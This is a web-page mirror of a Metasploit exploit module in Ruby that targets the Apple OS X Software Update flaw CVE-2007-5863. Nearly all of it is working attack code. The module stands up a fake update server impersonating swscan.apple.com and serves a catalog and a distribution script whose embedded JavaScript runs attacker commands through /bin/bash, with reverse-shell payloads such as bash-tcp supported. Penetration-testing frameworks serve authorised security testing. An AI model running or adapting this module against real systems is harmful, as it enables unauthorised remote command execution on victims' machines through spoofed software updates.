CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/browser/software_update.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Apple OS X Software Update Command Execution',
14
'Description' => %q{
15
This module exploits a feature in the Distribution Packages,
16
which are used in the Apple Software Update mechanism. This feature
17
allows for arbitrary command execution through JavaScript. This exploit
18
provides the malicious update server. Requests must be redirected to
19
this server by other means for this exploit to work.
20
},
21
'Author' => [ 'Moritz Jodeit <moritz[at]jodeit.org>' ],
22
'License' => MSF_LICENSE,
23
'References' =>
24
[
25
['CVE', '2007-5863'],
26
['OSVDB', '40722'],
27
],
28
'Payload' =>
29
{
30
'BadChars' => "\x00",
31
'DisableNops' => true,
32
'Compat' =>
33
{
34
'PayloadType' => 'cmd cmd_bash',
35
'RequiredCmd' => 'generic perl ruby bash telnet bash-tcp',
36
}
37
},
38
'Platform' => 'osx',
39
'Targets' =>
40
[
41
[
42
'Automatic',
43
{
44
'Platform' => [ 'unix' ],
45
'Arch' => ARCH_CMD,
46
},
47
],
48
],
49
'DisclosureDate' => '2007-12-17',
50
'DefaultTarget' => 0))
51
52
register_options(
53
[
54
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]),
55
OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])
56
])
57
end
58
59
# Encode some characters using character entity references and escape any
60
# quotation characters, by splitting the string into multiple parts.
61
def encode_payload(payload)
62
encoded = payload.gsub(/[&<>"']/) do |s|
63
case s
64
when '&'
65
"&amp;"
66
when '<'
67
"&lt;"
68
when '>'
69
"&gt;"
70
when '"'
71
'"+\'"\'+"'
72
when '\''
73
"&apos;"
74
end
75
end
76
return '"' + encoded + '"'
77
end
78
79
# Generate the initial catalog file with references to the
80
# distribution script, which does the actual exploitation.
81
def generate_catalog(server)
82
languages = [ "", "Dutsch", "English", "French", "German", "Italian", "Japanese",
83
"Spanish", "da", "fi", "ko", "no", "pt", "sv", "zh_CN", "zh_TW" ]
84
productkey = rand_text_numeric(3) + "-" + rand_text_numeric(4)
85
distfile = rand_text_alpha(8) + ".dist"
86
87
sucatalog = '<?xml version="1.0" encoding="UTF-8"?>'
88
sucatalog << '<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'
89
sucatalog << '<plist version="1.0">'
90
sucatalog << '<dict>'
91
sucatalog << '<key>Products</key><dict>'
92
sucatalog << "<key>#{productkey}</key><dict>"
93
sucatalog << '<key>Distributions</key><dict>'
94
95
languages.each do |l|
96
sucatalog << "<key>#{l}</key><string>http://#{server}/#{distfile}</string>\n"
97
end
98
99
sucatalog << '</dict></dict></dict></dict></plist>'
100
101
return sucatalog
102
end
103
104
# Generate distribution script, which calls our payload using JavaScript.
105
def generate_dist(payload)
106
func = rand_text_alpha(8)
107
108
dist = '<?xml version="1.0" encoding="UTF-8"?>'
109
dist << "<installer-gui-script minSpecVersion='1'>"
110
dist << '<options allow-external-scripts = "yes"/>'
111
dist << "<choices-outline ui='SoftwareUpdate'>"
112
dist << "<line choice='su'/>"
113
dist << "</choices-outline>"
114
dist << "<choice id='su' visible ='#{func}()'/>"
115
dist << "<script>"
116
dist << "function #{func}() { system.run('/bin/bash', '-c', #{encode_payload(payload)}); }"
117
dist << "</script>"
118
dist << "</installer-gui-script>"
119
120
return dist
121
end
122
123
def on_request_uri(cli, request)
124
date = Time.now
125
server = "swscan.apple.com"
126
127
header = {
128
'Content-Type' => 'text/plain',
129
'Last-Modified' => date,
130
'Date' => date,
131
}
132
133
if request.uri =~ /\.sucatalog$/
134
print_status("Sending initial distribution package")
135
body = generate_catalog(server)
136
elsif request.uri =~ /\.dist$/
137
print_status("Sending distribution script")
138
return if ((p = regenerate_payload(cli)) == nil)
139
body = generate_dist(p.encoded)
140
else
141
return
142
end
143
send_response(cli, body, header)
144
handler(cli)
145
end
146
end
147
148